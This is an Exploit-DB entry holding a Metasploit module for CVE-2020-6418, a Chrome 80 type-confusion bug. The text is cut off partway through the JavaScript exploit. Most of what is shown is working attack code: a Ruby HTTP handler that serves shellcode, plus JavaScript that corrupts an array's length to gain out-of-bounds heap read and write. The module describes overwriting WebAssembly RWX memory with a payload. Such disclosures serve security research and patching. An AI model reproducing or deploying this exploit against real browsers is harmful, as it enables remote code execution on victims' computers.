Exploit-DB #48186
Description: Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit)
Type: remote
Platform: multiple
Date: 2020-03-09
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
      'Description'    => %q{
      This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
      corrupts the length of a float array (float_rel), which can then be used for out
      of bounds read and write on adjacent memory.
      The relative read and write is then used to modify a UInt64Array (uint64_aarw)
      which is used for read and writing from absolute memory.
      The exploit then uses WebAssembly in order to allocate a region of RWX memory,
      which is then replaced with the payload shellcode.
      The payload is executed within the sandboxed renderer process, so the browser
      must be run with the --no-sandbox option for the payload to work correctly.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'Clément Lecigne', # discovery
          'István Kurucsai', # exploit
          'Vignesh S Rao',   # exploit
          'timwr', # metasploit copypasta
        ],
      'References'     => [
          ['CVE', '2020-6418'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
          ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
          ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
          ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
        ],
      'DisclosureDate' => 'Feb 19 2020'))
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
  end

  def on_request_uri(cli, request)
    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] #{request.body}")
      send_response(cli, '')
      return
    end

    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    escaped_payload = Rex::Text.to_unescape(payload.raw)
    jscript = %Q^
var shellcode = unescape("#{escaped_payload}");

// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}

Number.prototype.fhw = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}

Number.prototype.flw = function() {
    float_view[0] = this;
    return int_view[0] & BigInt(2**32-1);
}

Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}

function hex(a) {
    return a.toString(16);
}

//
// EXPLOIT
//

// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel;      // float array, initially corruption target
var float_carw;     // float array, used for reads/writes within the compressed heap
var uint64_aarw;    // uint64 typed array, used for absolute reads/writes in the entire address space
var obj_leaker;     // used to implement addrof
vuln.pop();
vuln.pop();
vuln.pop();

function empty() {}

function f(nt) {
    // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
    vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 :[PII_REDACTED]20.05);
    for (var i = 0; i < 0x10000; ++i) {};
}

let p = new Proxy(Object, {
    get: function() {
        vuln[0] = {};
        float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
        float_carw = [6.6];
        uint64_aarw = new BigUint64Array(4);
        obj_leaker = {
            a: float_rel,
            b: float_rel,
        };

        return Object.prototype;
    }
});

function main(o) {
  for (var i = 0; i < 0x10000; ++i) {};
  return f(o);
}

// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
function crel_read4(offset) {
    var qw_offset = Math.floor(offset / 2);
    if (offset & 1 == 1) {
        return float_rel[qw_offset].fhw();
    } else {
        return float_rel[qw_offset].flw();
    }
}

// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
function crel_write4(offset, val) {
    var qw_offset = Math.floor(offset / 2);
    // we are writing an 8-byte double under the hood
    // read out the other half and keep its value
    if (offset & 1 == 1) {
        temp = float_rel[qw_offset].flw();
        new_val = (val << 32n | temp).i2f();
        float_rel[qw_offset] = new_val;
    } else {
        temp = float_rel[qw_offset].fhw();
        new_val = (temp << 32n | val).i2f();
        float_rel[qw_offset] = new_val;
    }
}

const float_carw_elements_offset = 0x14;

function cabs_read4(caddr) {
    elements_addr = caddr - 8n | 1n;
    crel_write4(float_carw_elements_o